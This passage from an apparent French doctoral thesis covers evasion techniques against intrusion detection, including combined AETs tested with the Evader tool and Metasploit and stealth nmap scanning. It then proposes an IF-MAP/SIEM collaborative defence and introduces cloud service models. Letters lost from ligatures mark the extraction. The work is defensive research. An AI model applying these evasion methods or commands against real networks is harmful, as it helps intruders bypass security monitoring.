L'intrusion dans ce cas se base sur le fait que les paquets malicieux passent par
des routes diérentes et donc potentiellement seront contrôlés par des systèmes de
détection diérents qui ne sont pas forcément synchronisés (limitation technique ou
budgétaire).

La cible est joignable par deux chemins (routes) diérents, chacun ayant son propre
système de protection IDS/IPS. L'attaquant va déjouer la protection par envoyer
partiellement l'attaque via les deux chemins, comme l'illustre la gure 4.3.11.

Figure 4.3.11: Attaque exploitant le routage asymétrique

Les deux systèmes IPS/IDS vont voir l'attaque en partiel mais n'auront pas la ca-
pacité de la qualier correctement comme une attaque et donc la laisse passer vers
la cible qui reçoit l'exploit et l'exécute.

127
Plusieurs attaques connues et classiées [58] réapparaissent sous une autre forme
après quelques temps, juste par une petite adaptation plus au moins signiante. Le
tableau ci-dessous explicite quelques exemples (la gure 4.3.12).

Figure 4.3.12: Exemples d'attaques classiées

Le temps de réponse aux vulnérabilités


Le temps entre l'apparition d'une faille et l'application du patch correspondant, constitue
une occasion pour les attaquants de prendre le dessus et placer leurs outils sur le réseau
IP cible. En conséquence, les premières phases de construction d'une attaque avancée
seront entreprises sans résistance (la gure 4.3.13).

Figure 4.3.13: Cycle de vie d'une vulnérabilité

Les techniques d'évasion avancées AET "Advanced Evasion Techniques" ne combinent


pas simplement des tentatives d'intrusion que les moteurs IPS détectent, mais créent un
agencement qui aboutit à une méthode indétectable. Ces techniques ne font pas de dégâts
par eux même, mais elles donnent des capacités furtives pour les codes malveillants pour
leur permettre d'atteindre les systèmes ciblés.

128
Ces techniques sont bien connues depuis un bout de temps et la plupart des systèmes
IPS (Intrusion Préventions system) sont capables de les arrêter. Mais en utilisant des
combinaisons, elles peuvent contourner les IPS actuels, en mélangeant par pair N AET
connues, on obtient une combinaison de 2 parmi N résultats possibles, si on ajoute les
combinaisons à trois ou plus, le nombre total de possibilités est encore plus grand.

4.4 Proposition d'un modèle de sécurité collaborative


face aux APT
D'une manière pragmatique et pratique, ces méthodes seront mises en oeuvre selon le
scénario suivant (la gure 4.4.1) en utilisant un outil commercial mis à disposition du
public gratuitement.

Figure 4.4.1: Scénario d'étude

Avant de lancer l'exploit, la phase de reconnaissance doit aussi se faire en mode déguisé
à l'aide d'options avancées des scanners tel que NMAP, dans un environnement de tests
de pénétration et pour éviter le balck-listing :
nmap -sS -sV

4.4.1 Techniques et méthodes d'attaques


En faisant une petite analyse comparative des solutions Open Source, le choix du Metas-
ploit Framework s'impose. Au départ, Metasploit Framework se basait sur les 3 modules
suivants où le module msencode se charge d'obfusquer et cacher les exploits ou payloads
(la gure 4.4.2).

Figure 4.4.2: Les 3 modèles de base de Métasploit

Cet outil possède beaucoup d'atouts en l'occurrence sa pertinence technique, sa richesse


et son extensibilité en plugins qui ouvre un volet très intéressant pour développer des

129
attaques personnalisées.

La seconde alternative est l'outil Evader, outil créé par la société de sécurité nlandaise
"Stonesoft", qui sera utilisé pour combiner des attaques (techniques d'évasion) pour at-
teindre une cible volontairement vulnérable (Windows XP avec le service SMB CVE
20084250, MSRPC Server Service Vulnerability; CVE2004131, CVE20120002, Win-
dows RDP Denial of Service).

L'Evader permet de faire un choix de combinaison des attaques d'une manière graphique,
comme illustré dans la gure 4.4.3 suivante.

Figure 4.4.3: Choix de combinaison des attaques graphiquement

Mais, il peut aussi être lancé manuellement :

./evader attack=<attack name> evasions

Pour mesurer la résistance des diérents technologies des constructeurs aux techniques
d'évasion, on les mettra sous tests. Certes, l'ore pour cette partie d'exploitation et post-
exploitation est très variée entre des plateformes commerciales et d'autres open source,
mais notre étude se focalise beaucoup sur l'approche et la vision de sécurité, d'une part
la vision des attaquants et d'autre part celle des responsables de sécurité.

En eet, les attaquants construisent leurs attaques d'une manière chainée en cherchant la
faille la plus facile que présente le réseau cible, puisqu'il sut d'une faille pour construire
une attaque avancée comme on l'a vu auparavant.

L'approche défensive, contrairement à celle de l'attaquant, doit verrouiller toutes les failles
pour espérer être en sécurité. En eet, quand on essaye les attaques individuellement une

130
à une, contre les briques de sécurité individuellement ou mises en série, l'attaque est
arrêtée par le système de protection (voir la gure 4.4.4).

Figure 4.4.4: Exemple de réussite d'une attaque chaînée

Alors que si l'attaque est combinée d'une manière appropriée, elle passe à travers le sys-
tème de protection FW/IDS/IPS.

Les résultats des tests sont illustrés par le tableau suivant (voir la gure 4.4.5).

Figure 4.4.5: Résultats de tests d'attaque élémentaire et d'attaque combilée

NB : nous avons omis les noms des constructeurs pour éviter toute mauvaise interpréta-
tion.

Déduction
• Les attaques individuelles ne passent pas, alors qu'il est possible de les combiner
pour contourner le système de contrôle mis en chemin.

131
• Ces méthodes avancées d'attaques se basent sur la combinaison de deux ou plusieurs
techniques élémentaires d'évasion pour déguiser les attaques sous de nouvelles formes
d'attaques. De ce fait, le nombre de combinaisons augmente d'une façon non con-
trôlée et tend pratiquement vers l'illimité.
Ces techniques diverses et multiples, sont utilisées individuellement ou combinées entre
elles, dans la perspective de contourner les mesures de sécurité les plus évoluées; Ces
attaques font usage de techniques, même connues, mais mise en combinaison deviennent
indétectables.

4.4.2 Approche de sécurité actuelle


Avant d'aborder la proposition d'amélioration de l'approche de protection, rappelons que
la théorie de détection utilise les deux principes suivants :
1. Détection à base de signature

Figure 4.4.6: Détection à base de signature

Cette méthode (la gure 4.4.6) s'appuie sur des règles de ltrage prédénies se
basant sur des signatures descriptives du trac illicite connu (les attaques de type
"zero day" utilisent des techniques d'évasion AET pour se déguiser moyennant les
techniques d'encodage, substitution et injection).

En réponse, les systèmes utilisant cette détection voient leur base de signature ex-
ploser à cause du nombre croissant des combinaisons.

En eet, se baser sur l'approche classique uniquement est problématique, par ce


qu'il est possible de changer la forme de l'input par des opérations de substitution,
encodage et autres, dans la perspective de contourner la détection, ce qui rend dif-
cile de développer toutes les signatures possibles d'une même attaque.

L'évolution constante, le dynamisme et les combinaisons des AET empêchent les


signatures et le ngerprint, réponses habituelles aux exploits, d'apporter la solution
adéquate.

2. Détection à base d'anomalies


Le système de détection se base sur une base comportementale qu'il construit à
partir d'une phase d'apprentissage. Tout comportement qui dévie de cette base
dite "comportement normal" sera considéré comme une attaque potentielle.

132
Ce type de détection est contourné par l'introduction de plus de tactiques que de
techniques, comme le montre l'exemple des APT qui persistent indétectables dans
plusieurs cas.

C'est pourquoi on se trouve devant un fait : Le pare-feu, l'IPS, l'antivirus et les


reste des technologies classiques sont indispensables mais insusantes.

Pourquoi ?

La réponse objective est que les menaces qui ciblent les réseaux IP des entreprises
ne cessent d'évoluer. Ces attaques sont, comme on l'a vu précédemment, de plus
en plus sophistiquées et ciblées c.-à-d. que les phases de ces attaques dépendent
fortement des caractéristiques et vulnérabilités découvertes au sein du réseau IP et
ses applications.

Les malwares et les botnets sont de plus en plus sophistiqués, de plus en plus dis-
crets, et ne s'arrêtent pas par un simple blocage de ports.

Les APT (Advanced Persistent Threats) s'installent sur le long terme au coeur des
infrastructures. Leur objectif principal consiste à implanter des mécanismes qui
permettent de voler des informations et des identités sans être repérées. C'est la
clé du business des cybercriminels. De ce fait, ces APT peuvent être actives durant
de nombreux mois et parfois même des années avant d'être détectées et éradiquées.

D'un autre côté, les AET (Advanced Evasion Techniques) sont l'un des nouveaux
moyens de construire des APTs. Les cybercriminels utilisent diérentes techniques
d'évasion pour échapper aux protections réseau. Les techniques les plus simples con-
sistent à altérer les ports standards des applications protégées pour les faire utiliser
des ports autorisés, à glisser des activités interdites au sein d'un protocole autorisé
(comme le VPN), à chirer les contenus malveillants. Aujourd'hui, les techniques
avancées (AET) combinent plusieurs mécanismes et divisent les attaques en actions
autorisées - car jugées individuellement non dangereuses - qui, une fois regroupées
et combinées, forment une menace.

L'approche de protection que nous proposons, repose sur un eort de l'équipe tech-
nique qui doit suivre l'évolution des signes de contamination, les analyser et apporter
les ajustements au niveau de la politique de protection. Ceci n'est possible que par
la collaboration, la compréhension des contextes de chaque menace, la corrélation et
l'intégration des diérentes composantes de sécurité présentes au niveau du réseau
IP, en convergeant vers un écosystème de protection.

133
4.4.3 Protection contre les attaques dites de nouvelle génération
L'approche de sécurité doit impérativement changer, d'une approche périmétrique et
compartimentée vers une approche multi-niveaux avec un focus sur les signaux faibles
(AET) sur lesquelles se basent les attaques avancées et persistantes APT.

Notre proposition s'articule sur les points clés suivants :

1. L'importance de la gestion centralisée


Dans une entreprise ou une administration, il est important que tous les équipements
informatiques puissent être gérés simultanément. Cela permet de remettre à jour
tous les postes en même temps et de ne pas laisser une AET proter d'une faille
sur un poste tandis qu'un autre aura été mis à jour quelques heures avant, par
exemple. Toutes les protections informatiques sont valables à un instant "T" et les
mises à jour permettent de combler des failles qu'un malware connu serait suscep-
tible d'exploiter.

En eet, si un nouveau malware apparait, le temps que les éditeurs de solutions de


sécurité ne réalisent une mise à jour ecace pour le stopper, elle peut exploiter une
faille sur un rewall ou un IPS pour pénétrer le réseau.

Le point fort d'une administration centralisée est qu'elle permet d'eectuer des
mises à jour de façon continue et à tous les niveaux de l'architecture réseau, doù la
réduction de surface d'attaque susceptible d'être exploitée.

Par exemple, la mise à jour des systèmes et des outils informatiques est primordial,
si les machines et serveurs sont patchés, sécurisés, la technique d'évasion serait très
dicile, la charge pirate (injection SQL, XSS, etc) serait dicile voir impossible.

2. Protection contre les attaques en chaine -kill chain-


Les attaques chainées, comme abordée précédemment dans ce chapitre sont des
attaques en étapes. Au début, il s'agit d'un envoi de mail avec des liens vers des
serveurs contenant du malware "serveurs commandes and contrôle commandes".
Une fois l'utilisateur clique sur ces liens, il devient complice pour télécharger et
exécuter ces programmes malveillants sur sa machine comme décrit par la gure
4.4.7 ci-dessous.

Si on aperçoit cette attaque comme une suite composée d'actions (1, 2, 3 et 4),
l'attaque résultante illustrée sur la gure 4.4.7 ci-dessus n'aboutit que si toutes les
actions qui la composent aboutissent.

Dans la perspective de généraliser cette approche, on considère qu'à partir d'une


source d'attaque donnée jusqu' à sa la cible, on passe par plusieurs étapes ou chemins

134
Figure 4.4.7: Exemple d'attaque chaînée

intermédiaires d'attaque qu'on adapte éventuellement en cas d'échec.

Comme on peut le constater sur la gure 4.4.8 suivante, l'attaquant empreinte


diérents chemins possible pour arriver à la cible.

Figure 4.4.8: Empreint de chemins intérmédiaires par l'attaquant

En réponse à la problématique d'évasion des systèmes de sécurité, la gouvernance


exige une intégration des solutions de protection pour converger vers une central-
isation de l'intelligence en terme d'analyse et de corrélation. On tend, ainsi, à
transformer les produits de sécurité en véritables sondes qui envoient des évène-
ments et reçoivent des décisions vis à vis du trac sondé.

135
3. Proposition d'un modèle de sécurité collaborative face aux APT

En considérant les faits suivants :

• la sécurité à 100% n'est pas un objectif réel ;


• la protection 0-day est juste un terme marketing ;
• la sécurité est un processus et non un produit.

Nous proposons une amélioration qui consiste à intégrer les produits de sécurité
même multi-vendeurs selon une nouvelle approche capable d'améliorer la réponse
en temps réel aux nouvelles menaces et apporter une intégration meilleure de la
solution de sécurité globale.

En eet, on va migrer d'une sécurité à multiple produits en série, vers une sécurité
intégrée à deux pôles :

• pôle central qui gère l'intelligence et la corrélation des évènements de sécurité


• pôle constitué de sondes qui ont un minimum d'intelligence mais remontent
les évènements vers le pôle central.

Cette approche doit pouvoir répondre à une question omniprésente en sécurité in-
formatique en général, et en sécurité des réseaux IP plus particulièrement. Il s'agit
de déterminer qui accède à quoi ? comment ? et quand ? La réponse est tout
simplement de constituer l'identité contextuelle des accès aux ressources réseaux.

Cette dite identité contextuelle doit nous fournir un mécanisme d'accès granulaire
aux ressources du réseau garantissant les briques de sécurité suivantes :

• authentication au sens NAC ;


• accès éligible aux ressources et traçabilité ;
• remontée des évènements de sécurité et corrélation SIEM [4].

En eet, dans la démarche de sécurité conventionnelle, chaque brique de sécurité


ore une protection ponctuelle à base d'une technologie bien précise (Pare-feu, IPS,
WAF, etc.), et donc chaque technologie prise individuellement permet de contrer
certains types d'attaques. Mais, ce qui manque dans les plateformes de sécurité est
le facteur corrélation, du fait que chaque technologie apporte une sécurité indépen-
damment des autres comme on peut le constater sur la gure 4.4.9 suivante.

La réponse qu'on a essayé d'apporter à cette problématique est de migrer d'une


intégration de solutions ou de produits de sécurité vers une seule solution de sécurité
intégrée schématisée dans la gure 4.4.10 ci-dessous.
Tout en gardant à l'esprit que notre problématique principale est d'assurer le con-
trôle d'une session utilisateur de bout en bout, c.-à-d. depuis son acceptance sur

136
Figure 4.4.9: Sécurité conventionnelle sans interaction

Figure 4.4.10: Migration vers une sécurité centralisée

137
Figure 4.4.11: Contrôle d'une session utilisateur de bout en bout

l'infrastructure réseau au sens "NAC" jusqu'à son "logout" ou sa déconnexion forcée


du réseau comme illustré par la gure 4.4.11 ci-dessous.
D'une manière abstraite, on considère qu'il y a deux types de sécurité :

• sécurité locale qui est matérialisée par le système de contrôle le plus proche
du contexte utilisateur ;
• une sécurité centralisée et globale pour toute l'infrastructure réseau.

Au sens IF-MAP, on va considérer la sécurité locale toute sonde installée au sein


du système à sécuriser ou dans son environnement réseau le plus proche possible,
et la sécurité globale l'intelligence capable d'interpréter les évènements de sécurité
sondés et être en mesure de prendre des actions quand la corrélation montre qu'il
ya des signes d'attaque réseau.

Sachant que les méthodes d'attaques ne cessent de se perfectionner, en apportant à


chaque fois un danger déant les méthodes de protection mises en place, en utilisant
des attaques avancées.

Ces attaques portent des empreintes d'intelligence et de collaboration dans leur


tactique. Elles sont formées en plusieurs étapes et se basent sur des failles relatives
à plusieurs technologies. En conséquence, pour bâtir une contre-mesure de sécurité
pertinente et adaptée, il est judicieux d'agir sur chaque produit séparément tout en
reportant les évènements clés de sécurité vers un point central capable de corréler
et d'agir en conséquence (voir la gure 4.4.12).

138
Figure 4.4.12: Utilisation d'IF-MAP dans l'échange collaboratif de sécurité

En réponse à cette approche oensive, il est question de faire de la collecte et de la


corrélation de log et d'évènements de sécurité au sens SIEM [4] selon le scenario de
la gure 4.4.13 suivante.

Figure 4.4.13: Diérents Processus du SIEM

Ce travail collaboratif est facilité par l'adoption du protocole IF-MAP qu'on a dé-
taillé lors du chapitre 3. Cette adaptation peut se matérialiser par l'exigence du
support de l'IF-MAP directement sur les solutions des éditeurs de sécurité ou du
développement d'un plug-in IF-MAP quand c'est possible, voir utiliser un conver-
tisseur IF-MAP → SNMP.

Ceci développe une nouvelle approche sécuritaire collaborative ou toutes les solu-
tions de sécurité mises en place peuvent contribuer et bénécier d'une intelligence
centrale de corrélation.

139
Figure 4.4.14: Sécurité collaborative

Ajoutons à cela que l'action pourra être exécutée par l'équipement le plus adéquat
et le plus proche de l'utilisateur dont le trac a été classié douteux.

4.5 Conclusion
Convergence vers un écosystème de sécurité

Notre ultime objectif est de changer l'approche d'une sécurité réactive où les responsables
de sécurité doivent faire constamment un eort de recherche et d'analyse de l'information
de sécurité relative aux composantes clés du système d'information (Antivirus, IDS/IPS,
WAF, SIEM, etc), vers une approche proactive où cette information de sécurité bien sen-
sible vient vers ces responsables (méthode "push") que permet l'adoption du mécanisme
IF-MAP comme il a été détaillé précédemment.

Les technologies (Antivirus, Pare-feu IDS/IPS, WAF, etc) prises individuellement jouent
encore un rôle dans la lutte contre les eets néfastes du malware mais restent insusantes,
ainsi une nouvelle approche s'impose. Dans cette perspective, nous avons proposé une
solution intégrée basée sur les diérentes technologies existantes en apportant un mécan-
isme ecace "IF-MAP" permettant de partager et corréler leurs capacités individuelles
à lutter contre les intrusions des malwares.

140
Chapitre 5
Contrôle d'accès approprié au Cloud et
à la virtualisation
L'objectif de ce dernier chapitre est la projection de la proposition d'amélioration de la
sécurité d'infrastructures classiques à base du protocole d'échange IF-MAP, détaillée au
chapitre 3, vers les nouvelles plateformes de type cloud.

Ainsi, c'est l'occasion pour expliciter les travaux relatifs au papier résultant de la par-
ticipation à la conférence internationale "World Congress on Engineering 2013 Vol II,
WCE 2013, July 3 - 5, 2013, London, U.K" sous le thème "New Security Perspective
for Virtualized Platforms", et à travers ce travail nous analyserons les risques de sécurité
dans le monde du cloud et apporter ainsi une proposition d'amélioration à ce monde à
travers la sécurité des plateformes virtuelles, et ce en utilisant le NAC [5]1 , [6]2 .

5.1 Introduction
Avant d'entamer la sécurité du cloud, il est fondamental de dénir qu'est-ce que le Cloud
et expliciter la technologie de virtualisation qui constitue la composante technique fon-
damentale du Cloud et l'origine de sa réussite.

Le succès que connait le Cloud est fondé sur la virtualisation, celle-ci consiste à trans-
former un serveur hardware en plusieurs machines virtuelles "VM", moyennant un sys-
tème d'exploitation de virtualisation qui introduit une couche d'abstraction logicielle
entre les VM et leur applications vis-à-vis du matériel en terme de stockage, de mémoire
et de capacité de traitement "CPU".

1 A. Lakbabi, G. Orhanou, S. El Hajji, "Virtualization and Cloud Security", 3ème édition des Journées
Nationales de la Sécurité - JNS3, ENSIAS, Rabat, 26 & 27 Avril, 2013
2 A. Lakbabi, S. El Hajji, G. Orhanou, K. Chetioui, "New security perspective for Virtualized plate-
forms", Proceedings of The International Conference of Information Security and Internet Engineering,
the World Congress on Engineering 2013 (WCE 2013), London, U.K., 3-5 July, 2013, Published in
Lecture Notes in Engineering and Computer Science, Volume 2 LNECS, Pages 1230-1234, 2013

141
Au niveau implémentation, l'architecture Cloud bénécie des technologies de virtuali-
sation, un véritable atout qui permet de faire fonctionner plusieurs entités comme les
machines virtuelles (ex. : systèmes d'exploitation) sur une seule machine physique, ce
qui nous rapproche d'une utilisation optimale des ressources, grâce au partage de celles-ci
et à la répartition des machines virtuelles en fonction des charges. Aussi, la virtualisation
simplie la création, la sauvegarde, le déploiement et la migration des machines virtuelles
entre les machines physiques.

5.2 Cloud Computing : enjeux et mécanismes fonction-


nels
Le cloud computing est un ensemble de services informatiques (serveurs, stockage, bases
de données, composants réseau, logiciels, outils d'analyse, etc.) fournis via Internet (le
cloud). Les fournisseurs de services cloud proposent ces services informatiques et les fac-
turent en fonction de l'utilisation.

La révolution induite par le Cloud Computing est énorme. Elle varie du stockage au
traitement de données, en passant par l'usage d'applications "déportées". On parle d'un
écosystème dématérialisé en perpétuel mouvement.

Il existe des solutions commerciales et d'autres open sources. Dans notre contexte, nous
donnons une grande importance aux solutions open sources vue leur éclairage académique
et leur apport pédagogique pour les étudiants, de par la disponibilité de leur code source.

5.2.1 Caractéristiques du Cloud Computing


Selon le "National Institute of Standards and Technology" [69], le Cloud propose plusieurs
services de caractéristiques essentielles notamment l'élasticité des ressources oertes par
les services en Cloud, leur simplicité d'accès via le réseau, la mutualisation des ressources,
l'agilité accrue des systèmes d'information en Cloud ainsi que la facturation à l'usage des
services Cloud, comme l'illustre la gure 5.2.1 ci-dessous.

• Élasticité des ressources

Dans le Cloud, de nouvelles capacités peuvent être automatiquement mises à dis-


position des utilisateurs en cas d'accroissement de la demande. A l'inverse elles
peuvent être rapidement mises en sommeil lorsqu'elles ne sont plus nécessaires.

Cette élasticité des services Cloud crée pour l'utilisateur nal l'illusion d'une ca-
pacité innie qui peut être mise en service à tout moment.

142
Figure 5.2.1: Caractéristiques essentielles du Cloud Computing

Pour les entreprises clientes, cette caractéristique d'élasticité permet par exemple de
faire face aux pics d'activités que l'infrastructure interne n'aurait pu absorber, mais
aussi d'envisager de nouvelles applications, par exemple des applications de calcul
intensif nécessitant plusieurs centaines de machines pendant seulement quelques
heures, ou des applications que le coût d'une infrastructure interne aurait rendues
impossibles sans le Cloud.

• Un accès simple via le réseau

Les services de types Cloud sont accessibles au travers du réseau qu'il s'agisse d'un
accès interne à travers le réseau LAN de l'entreprise pour un Cloud interne, d'un
accès Internet ou d'une liaison louée IP (ou d'un accès VPN) pour un Cloud ex-
terne. Cet accès s'eectue au moyen de mécanismes et protocoles standards qui
permettent notamment l'utilisation des services Cloud depuis de multiples types de
terminaux.

• Des coûts contrôlés

Les ressources Cloud sont mises en commun et mutualisées an de servir de mul-
tiples utilisateurs (plusieurs départements ou divisions dans le cadre d'un Cloud
interne à l'entreprise ou plusieurs entreprises dans le cas d'un service en Cloud

143
public). Cette mutualisation peut intervenir à de multiples niveaux des ressources
physiques (serveurs, stockage, réseau, serveur d'application).

Il s'agit d'une mise en commun des ressources, qui sont réallouées de façon dy-
namique en fonction de la demande et des SLA (service level agrement) sans que
l'utilisateur n'ait à eectuer quelque opération que ce soit. Chaque utilisateur est
ainsi assuré de l'atteinte des objectifs de performances dénis dans le cadre de son
contrat.

• Un système d'information est plus agile

Dans le Cloud, l'utilisateur nal du service peut provisionner rapidement les ressources
dont il a besoin (serveurs, réseaux, stockage, applications, etc) et disposer sans avoir
à passer par de longues et complexes étapes de conguration manuelle. Ces capac-
ités de "provisioning" rapide et automatisé "self-service" permettent au système
d'information de répondre poctuellement aux besoins des métiers, aux demandes
de changements, ainsi qu'aux exigences croissantes de time-to-market. Dans cer-
tains modèles de consommation, cette agilité est poussée à l'extrême notamment
dans les modèles de types SaaS ou PaaS où l'entreprise s'aranchit d'un grand nom-
bre de contraintes de mise en place de ses applications.

• Une facturation à l'usage

Le Cloud a donné naissance à un nouveau mode de facturation à l'usage qui peut


être résumé simplement : on ne paie que ce que l'on consomme réellement. Dans le
Cloud d'infrastructure, on paie ainsi au nombre de coeurs processeurs consommés, à
la quantité de mémoire utilisée, au nombre d'opération d'entrées/sorties eectuées
ou à la quantité de données stockées. Dans un mode SaaS, on paie au nombre
d'utilisateurs et en fonction de leur usage des ressources.

5.2.2 Choix du service et périmètre de responsabilité au sein du


cloud
Le Cloud peut être publique, hybride, privé ou encore communautaire, les services rendus
pouvant eux aussi être de diérents types : IaaS, PaaS ou SaaS (voir la gure 5.2.2).

1. SaaS (Software as a Service)


Le Logiciel en tant que Service est un modèle de Cloud computing où l'entreprise
est utilisatrice d'une ressource informatique (infrastructure, plateforme et applica-
tions) totalement externalisée.

144
Figure 5.2.2: Services de base du Cloud Computing

L'entreprise s'abonne à une application en ligne, comme par exemple la messagerie


électronique (gmail, yahoo, Salesforce, etc), plutôt que d'acheter une licence ;
Le fournisseur de Cloud maintient les applications qu'il propose, la plateforme
d'exécution de ces applications ainsi que les infrastructures sous-jacentes.

Exemples : Google Apps, WebEx, et Salesforce.

2. PaaS (Platform as a Service)


le PaaS ou Platform as a Service est la forme du cloud la plus poussée. Il sut
de publier ses applications sur ce type de services, qui permet de faire abstraction
du volet infrastructure. Montée en charge, équilibrage de charge sont des services
gérés par la plateforme, et seule la puissance eectivement consommée est facturée
en n de mois. Cette simplicité permet à de nombreuses start-up de lancer si rapi-
dement leurs services Web et leurs applications mobiles sans trop se soucier de leur
infrastructure technique; Un moyen de rester serein avant la montée en charge de
leur service.

La Plateforme en tant que Service est un modèle de Cloud computing où l'entreprise


dispose d'un environnement dans lequel la plateforme d'exécution de ses applica-
tions (bases de données, logiciel serveur, etc) est totalement externalisée sous forme
de "boîte noire". Dans ce cas :

• l'entreprise maintient uniquement ses applications ;

145
• le fournisseur de Cloud maintient la plateforme d'exécution de ces applications
et l'infrastructure.

PaaS fournit des plateformes informatiques qui comprennent généralement le sys-


tème d'exploitation, la programmation de l'environnement d'exécution du langage,
base de données, serveur Web, etc. PaaS est une solution très évolutive, et les util-
isateurs n'ont pas à se soucier des mises à niveau de la plateforme ou de problèmes
d'indisponibilité pendant la maintenance. Ce modèle Cloud peut être publique,
Privé, Enterprise, ou même Hybride.

La gure 5.2.3 suivante montre des exemples de services qu'une plateforme PaaS
permet d'orir à l'utilisateur.

Figure 5.2.3: Services d'une plateforme PaaS du cloud Computing

Les géants du Cloud, à commencer par Amazon, Google, Microsoft, VMware et


Salesforce.com sont déjà présents sur ce créneau.

3. IaaS (Infrastructure as a Service)


L'infrastructure en tant que Service est un modèle de Cloud computing qui fournit
l'infrastructure informatique, les machines virtuelles ou physiques (assez souvent)
et d'autres ressources comme les serveurs de chiers, le stockage des données, pare-
feux, les équilibreurs de charge, les adresses IP, les réseaux locaux virtuels, etc.
Au lieu d'acheter des logiciels, des serveurs ou des équipements de réseau, l'entreprise
loue ces infrastructures comme un service entièrement externalisé, habituellement

146
facturé en fonction de la quantité de ressources consommées.

L'infrastructure as a Service (IaaS) donne accès aux ressources informatiques dans


un environnement virtualisé "Cloud", et en utilisant une connexion publique, qui
est généralement une connexion Internet.

Physiquement, les ressources hardware proviennent d'une multitude de serveurs


et de réseaux généralement distribués à travers de nombreux Datacenters, que le
fournisseur de services Cloud à la responsabilité d'entretenir. En d'autres termes,
l'accès aux composants virtualisés est donné à l'entreprise cliente an que celle-ci
puisse construire ses propres plateformes IT.

Ce type de service Cloud est utilisé par les entreprises clientes pour créer des so-
lutions informatiques à des coûts avantageux et facilement extensibles, dans la
mesure où la complexité et les coûts inhérents à la gestion du matériel informatique
sous-jacent sont externalisés au fournisseur du Cloud. Ainsi, la consommation des
ressources Cloud IaaS, a l'avantage d'être à la demande et en réponse au besoin,
au gré de l'évolution des opérations et de l'expansion du consommateur plutôt que
d'acheter, d'installer et d'intégrer lui-même le matériel c.-à-d. ( étendre ses capac-
ités sans gaspillage de ressources non utilisées).

D'une manière schématique, pour chaque type de cloud, on peut partager la responsabil-
ité entre le consommateur et le fournisseur selon le périmètre présenté par la gure 5.2.4
suivante.

147
Figure 5.2.4: Périmètre de responsabilité du consommateur et du fournisseur dans le
Cloud

Dans ce qui suit, nous présentons des exemples d'utilisation de services IaaS par une
entreprise

• Infrastructure de l'entreprise : les réseaux de Clouds privés et les réseaux lo-


caux virtuels, qui utilisent des pools de serveurs et des ressources réseau et sur
lesquels l'entreprise peut stocker ses données et faire fonctionner les applications
dont elle a besoin pour ses activités quotidiennes. La montée en charge peut aug-
menter leur infrastructure en fonction de leur croissance, ainsi leurs Clouds privés
(auxquels seule l'entreprise a accès) peuvent protéger le stockage et le transfert de
leurs données sensibles.

• Hébergement Cloud : hébergement de sites Web sur des serveurs virtuels fondés
sur un ensemble de ressources, ce pool à son tour se base sur des serveurs physiques
sous-jacents. Par exemple, un site Web hébergé dans le Cloud peut bénécier de la
redondance fournie par un vaste réseau de serveurs physiques et d'une extensibilité
sur demande pour aronter les demandes inattendues dont il fait l'objet.

• Virtual Data Centers (VDC) : un réseau virtualisé de serveurs virtuels inter-


connectés pouvant être utilisés pour orir davantage de capacités d'hébergement
Cloud ou d'infrastructure informatique ou pour intégrer l'ensemble de ces opéra-
tions dans une implémentation de Cloud privé ou de Cloud publique.

148
• Pas d'investissement en matériel : le matériel physique sous-jacent supportant
un service IaaS est installé et maintenu par le fournisseur Cloud, économisant ainsi
du temps et de l'argent pour le client qui n'a pas besoin d'y veiller lui-même.

• Modèle de prix basé sur l'utilisation : le service est accessible à la demande


et le client ne paie que pour les ressources qu'il a eectivement utilisées.

• Indépendance de l'emplacement : généralement, il est possible d'accéder au


service depuis n'importe quel emplacement tant qu'il dispose d'une connexion In-
ternet et que la sécurité du Cloud le permet.

• Aucun point de défaillance unique : en cas de panne d'un serveur ou d'un


commutateur réseau, le service n'est pas aecté grâce à la multitude de ressources
de matériel et de congurations de redondance. Pour de nombreux services, si un
datacenter entier devait se retrouver hors ligne, le service IaaS continuerait à fonc-
tionner sans problèmes.

Sur le plan technique, une plateforme Cloud est elle aussi hybride. Diérentes technolo-
gies sont mélangées entre elles tant sous leur forme classique que sous forme nouvelle :
le réseau, le stockage, la puissance de calcul ainsi que la sécurité se retrouvent mélangés,
mixés entre eux sous des formes virtuelles.

Cette "hybridation" se retrouve aussi dans l'organisation et dans les compétences des
personnes impliquées.

Pour aborder la notion de protection des données dans le Cloud, il est important de la
relier d'abord aux enjeux des Métiers. Cette réexion sur l'analyse du risque encourue
peut ainsi se structurer à partir de la question "quel Cloud pour quel usage ?". Il s'agit
donc de déterminer le niveau de protection nécessaire aux données hébergées, quelle que
soit leur localisation, et de choisir l'ore la plus adaptée à l'usage souhaité.

Par ailleurs, il est important de constater que cette nouvelle ore de Cloud, pour s'imposer
sur un marché de masse, a centré sa communication sur la mise en valeur d'avantages in-
contestables en matière d'agilité, de capacité de réponse rapide à un besoin opérationnel,
de réduction importante des coûts de déploiement et d'usage, et d'élasticité de l'ore,
c'est-à-dire la capacité de s'ajuster au plus près de la croissance ou décroissance du be-
soin. Ainsi, l'aspect de la protection des données est, dans les faits, passé au second plan
chez les fournisseurs de Cloud.

Par ailleurs, le retour d'expérience des entreprises montre que les ores actuelles de Cloud
n'apportent pas un niveau de garantie satisfaisant en matière de protection des données
condentielles ou à caractère personnel.

149
Ainsi, l'ore Cloud pour le grand public et les avantages énoncés plus haut, sont une in-
citation permanente des directions Métiers à s'aranchir des contraintes liées au recours
aux Directions Systèmes d'Information internes des entreprises, sans qu'elles mesurent
l'impact potentiel de telles initiatives sur les Métiers ou sur l'ecacité et la performance
du système d'information.

C'est pourquoi la sélection de l'ore Cloud la plus adaptée au besoin relève d'abord des
opérationnels, et doit être eectuée en lien avec les responsables de sécurité qui ont la
lourde tâche d'analyser le niveau de sécurité des ores Cloud et adopter potentiellement
l'une ou l'autre, en dévoilant le niveau réel de sécurité assuré par ces ores, et leurs limites
en matière de protection des données avant la prise de décision, et apporter des réponses
aux précautions contractuelles et opérationnelles.

Enn, il est intéressant de constater l'évolution de l'adoption des services Cloud, aux
seins de l'entreprise comme le montre les tableaux des gures 5.2.5 et 5.2.6 ci-dessous
[70].

150
La gure 5.2.5 montre l'évolution de la demande en SAAS.

Figure 5.2.5: Evolution de la demande en SAAS

Et la gure 5.2.6 montre l'évolution de la demande en IAAS et PAAS.

Figure 5.2.6: Evolution de la demande en IAAS et PAAS

5.2.3 Exemple de plateformes et services du cloud computing les


plus répandus
1. SalesForce

Salesforce Platform accélère le développement et le déploiement d'application; En-


tièrement basée sur le Cloud, cette plateforme client permet de :

• créer rapidement des applications personnalisées, par clics ou par code ;


• connecter tout grâce à de puissantes API ;
• déployer n'importe quelle application et y accéder depuis Salesforce ;
• démarrer avec plus de 2000 applications sur l'AppExchange.

151
Les diérents services oerts par Salesforce sont les suivants :

